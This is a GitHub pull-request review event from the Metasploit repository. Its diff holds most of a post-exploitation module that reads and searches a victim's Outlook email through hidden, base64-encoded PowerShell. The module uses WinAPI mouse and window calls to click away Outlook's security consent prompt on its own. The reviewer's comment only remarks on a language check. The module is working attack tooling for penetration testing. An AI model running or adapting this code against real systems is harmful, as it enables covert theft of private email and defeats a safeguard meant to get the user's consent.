GitHub PullRequestReviewCommentEvent at 2014-11-19 11:54:38
Repository: metasploit-framework
Actor: FireFart
Payload: {"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/20570546","id":20570546,"diff_hunk":"@@ -0,0 +1,179 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+require 'iconv'\n+\n+class Metasploit3 < Msf::Post\n+\n+  include Msf::Post::Windows::Registry\n+\n+        A_HASH = { \"en_US\" => \"Allow\", \"NL\" => \"Toestaan\" }\n+        ACF_HASH = { \"en_US\" => \"Allow access for\", \"NL\" => \"Toegang geven voor\" }\n+\n+  def initialize(info={})\n+    super(update_info(info,\n+    'Name'          => 'Windows Gather Outlook Email Messages',\n+    'Description'   => %q{\n+      This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.\n+      If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.\n+    },\n+    'License'       => MSF_LICENSE,\n+    'Author'        => [ 'Wesley Neelen <security[at]forsec.nl>' ],\n+    'Platform'      => [ 'win' ],\n+    'Arch'\t\t    => [ 'x86', 'x64' ],\n+    'SessionTypes'  => [ 'meterpreter']\n+  ))\n+\n+  register_options(\n+  [\n+    OptBool.new('LIST_FOLDERS', [ true, ' List the available folders', true]),\n+    OptString.new('FOLDER', [ false, ' The e-mailfolder to read (e.g. Inbox)' ]),\n+    OptString.new('KEYWORD', [ false, ' Search e-mails by the keyword specified here' ]),\n+    OptString.new('A_TRANSLATION', [ false, ' Fill in the translation of the word \"Allow\" in the targets system language, to click on the security popup.' ]),\n+    OptString.new('ACF_TRANSLATION', [ false, ' Fill in the translation of the phrase \"Allow access for\" in the targets system language, to click on the security popup.' ]),\n+    ], self.class)\n+  end\n+\n+\n+  def listBoxes\n+    # This function prints a listing of available mailbox folders\n+    psh_script = %Q|\n+    function List-Folder {\n+    Clear-host\n+    Add-Type -Assembly \"Microsoft.Office.Interop.Outlook\"\n+    $Outlook = New-Object -ComObject Outlook.Application\n+    $Namespace = $Outlook.GetNameSpace(\"MAPI\")\n+    $NameSpace.Folders.Item(1).Folders \\| FT FolderPath\n+    }\n+    List-Folder\n+    |\n+    utf16conv = Iconv.conv('UTF16LE', 'ASCII', psh_script)\n+    encoded_psh = Rex::Text.encode_base64(utf16conv)\n+    listBoxes_res = session.sys.process.execute(\"powershell.exe -enc #{encoded_psh}\", nil, {'Hidden' => true, 'Channelized' => true})\n+    sleep 3\n+    print listBoxes_res.channel.read\n+    listBoxes_res.channel.close\n+    listBoxes_res.close\n+    currentidle = session.ui.idle_time\n+    print_status(\"System has currently been idle for #{currentidle} seconds\")\n+  end\n+\n+  def readEmails(folder,keyword,searchobject,atrans,acftrans)\n+    # This functions reads Outlook using powershell scripts\n+    view = framework.threads.spawn(\"ButtonClicker\", false) {\n+      clickButton(atrans,acftrans)\n+    }\n+    psh_script = %Q|\n+      function Get-Emails {\n+      param ([String]$searchTerm,[String]$Folder,[String]$searchObject)\n+      Add-Type -Assembly \"Microsoft.Office.Interop.Outlook\"\n+      $Outlook = New-Object -ComObject Outlook.Application\n+      $Namespace = $Outlook.GetNameSpace(\"MAPI\")\n+      $NameSpace.Folders.Item(1)\n+      try {\n+      $Email = $NameSpace.Folders.Item(1).Folders.Item($Folder).Items\n+      $Email \\| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'}\n+      Write-Host $Email\n+      } catch {\n+        Write-Host \"The folder does not exist in the Outlook installation. Please fill in a correct foldername.\"\n+      }\n+      }\n+      Get-Emails \"#{keyword}\" \"#{folder}\" \"#{searchobject}\"\n+    |\n+    utf16conv = Iconv.conv('UTF16LE', 'ASCII', psh_script)\n+    encoded_psh = Rex::Text.encode_base64(utf16conv)\n+    readEmails_res = session.sys.process.execute(\"powershell.exe -enc #{encoded_psh}\", nil, {'Hidden' => true, 'Channelized' => true})\n+    while(d = readEmails_res.channel.read)\n+       print (\"#{d}\")\n+    end\n+    readEmails_res.channel.close\n+    readEmails_res.close\n+  end\n+\n+  def clickButton(atrans,acftrans)\n+    # This functions clicks on the security notification generated by Outlook.\n+    sleep 1\n+    hwnd = client.railgun.user32.FindWindowW(nil, \"Microsoft Outlook\")\n+    hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, \"Button\", \"&#{acftrans}\")\n+    client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)\n+    client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)\n+    hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, \"Button\", \"#{atrans}\")\n+    client.railgun.user32.SetActiveWindow(hwndChild['return'])\n+    client.railgun.user32.SetForegroundWindow(hwndChild['return'])\n+    client.railgun.user32.SetCursorPos(150,150)\n+    client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)\n+    client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)\n+  end\n+\n+  def run\n+    # Main method\n+    list_folder = datastore['LIST_FOLDERS']\n+    folder\t= datastore['FOLDER']\n+    keyword = datastore['KEYWORD'].to_s\n+    object\t= \"HTMLBody\"\n+    allow \t= datastore['A_TRANSLATION']\n+    allow_access_for = datastore['ACF_TRANSLATION']\n+\n+    # OS language check\n+    sysLang = client.sys.config.sysinfo['System Language']\n+    if sysLang != \"en_US\" and sysLang != \"NL\"","path":"modules/post/windows/gather/outlook.rb","position":122,"original_position":122,"commit_id":"435c6eef8162a42ed64aea44242f9d76668d6eba","original_commit_id":"435c6eef8162a42ed64aea44242f9d76668d6eba","user":{"login":"FireFart","id":105281,"avatar_url":"https://avatars.githubusercontent.com/u/105281?v=3","gravatar_id":"","url":"https://api.github.com/users/FireFart","html_url":"https://github.com/FireFart","followers_url":"https://api.github.com/users/FireFart/followers","following_url":"https://api.github.com/users/FireFart/following{/other_user}","gists_url":"https://api.github.com/users/FireFart/gists{/gist_id}","starred_url":"https://api.github.com/users/FireFart/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FireFart/subscriptions","organizations_url":"https://api.github.com/users/FireFart/orgs","repos_url":"https://api.github.com/users/FireFart/repos","events_url":"https://api.github.com/users/FireFart/events{/privacy}","received_events_url":"https://api.github.com/users/FireFart/received_events","type":"User","site_admin":false},"body":"this check overrules the A_TRANSLATION and ACF_TRANSLATION parameters. Using it with a non english or nl windows it not possible","created_at":"2014-11-19T11:54:38Z","updated_at":"2014-11-19T11:54:38Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/4220#discussion_r20570546","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4220","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/20570546"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4220#discussion_r20570546"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4220"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4220","id":24556941,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4220","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4220.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4220.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4220","number":4220,"state":"open","locked":false,"title":"Add Windows post module for reading/searching Outlook e-mail","user":{"login":"wez3","id":9705192,"avatar_url":"https://avatars.githubusercontent.com/u/9705192?v=3","gravatar_id":"","url":"https://api.github.com/users/wez3","html_url":"https://github.com/wez3","followers_url":"https://api.github.com/users/wez3/followers","following_url":"https://api.github.com/users/wez3/following{/other_user}","gists_url":"https://api.github.com/users/wez3/gists{/gist_id}","starred_url":"https://api.github.com/users/wez3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wez3/subscriptions","organizations_url":"https://api.github.com/users/wez3/orgs","repos_url":"https://api.github.com/users/wez3/repos","events_url":"https://api.github.com/users/wez3/events{/privacy}","received_events_url":"https://api.github.com/users/wez3/received_events","type":"User","site_admin":false},"body":"This module allows to read and search e-mails present in Outlook installations. It is using powershell in order to search the e-mails.\r\n\r\nWhen connecting to Outlook using powershell, a security popup appears. WinAPI is used to automatically click on the popup, so access is allowed.\r\n\r\nThis module is tested on Windows 8.1 x64 with Outlook 2013.","created_at":"2014-11-17T18:43:07Z","updated_at":"2014-11-19T11:54:38Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e12727cb2653987ffeb8bc42bf9a1d7c96193e5f","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4220/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4220/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4220/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/435c6eef8162a42ed64aea44242f9d76668d6eba","head":{"label":"wez3:module-post-windows-gather-outlook","ref":"module-post-windows-gather-outlook","sha":"435c6eef8162a42ed64aea44242f9d76668d6eba","user":{"login":"wez3","id":9705192,"avatar_url":"https://avatars.githubusercontent.com/u/9705192?v=3","gravatar_id":"","url":"https://api.github.com/users/wez3","html_url":"https://github.com/wez3","followers_url":"https://api.github.com/users/wez3/followers","following_url":"https://api.github.com/users/wez3/following{/other_user}","gists_url":"https://api.github.com/users/wez3/gists{/gist_id}","starred_url":"https://api.github.com/users/wez3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wez3/subscriptions","organizations_url":"https://api.github.com/users/wez3/orgs","repos_url":"https://api.github.com/users/wez3/repos","events_url":"https://api.github.com/users/wez3/events{/privacy}","received_events_url":"https://api.github.com/users/wez3/received_events","type":"User","site_admin":false},"repo":{"id":26718784,"name":"metasploit-framework","full_name":"wez3/metasploit-framework","owner":{"login":"wez3","id":9705192,"avatar_url":"https://avatars.githubusercontent.com/u/9705192?v=3","gravatar_id":"","url":"https://api.github.com/users/wez3","html_url":"https://github.com/wez3","followers_url":"https://api.github.com/users/wez3/followers","following_url":"https://api.github.com/users/wez3/following{/other_user}","gists_url":"https://api.github.com/users/wez3/gists{/gist_id}","starred_url":"https://api.github.com/users/wez3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wez3/subscriptions","organizations_url":"https://api.github.com/users/wez3/orgs","repos_url":"https://api.github.com/users/wez3/repos","events_url":"https://api.github.com/users/wez3/events{/privacy}","received_events_url":"https://api.github.com/users/wez3/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/wez3/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/wez3/metasploit-framework","forks_url":"https://api.github.com/repos/wez3/metasploit-framework/forks","keys_url":"https://api.github.com/repos/wez3/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wez3/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wez3/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/wez3/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/wez3/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/wez3/metasploit-framework/events","assignees_url":"https://api.github.com/repos/wez3/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/wez3/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/wez3/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/wez3/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wez3/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wez3/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/wez3/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wez3/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/wez3/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/wez3/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/wez3/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/wez3/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/wez3/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/wez3/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/wez3/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/wez3/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/wez3/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/wez3/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/wez3/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wez3/metasploit-framework/merges","archive_url":"https://api.github.com/repos/wez3/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wez3/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/wez3/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/wez3/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/wez3/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/wez3/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wez3/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/wez3/metasploit-framework/releases{/id}","created_at":"2014-11-16T15:46:54Z","updated_at":"2014-11-16T15:47:14Z","pushed_at":"2014-11-18T15:27:47Z","git_url":"git://github.com/wez3/metasploit-framework.git","ssh_url":"git@github.com:wez3/metasploit-framework.git","clone_url":"https://github.com/wez3/metasploit-framework.git","svn_url":"https://github.com/wez3/metasploit-framework","homepage":"http://www.metasploit.com/","size":260703,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"fd53e969fdd210e3fd6d508c516bcb5c529f44a9","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2014-11-19T11:44:09Z","pushed_at":"2014-11-18T23:01:29Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1012148,"stargazers_count":2883,"watchers_count":2883,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2525,"mirror_url":null,"open_issues_count":175,"forks":2525,"open_issues":175,"watchers":2883,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4220"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4220"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4220"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4220/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4220/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4220/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/435c6eef8162a42ed64aea44242f9d76668d6eba"}}}}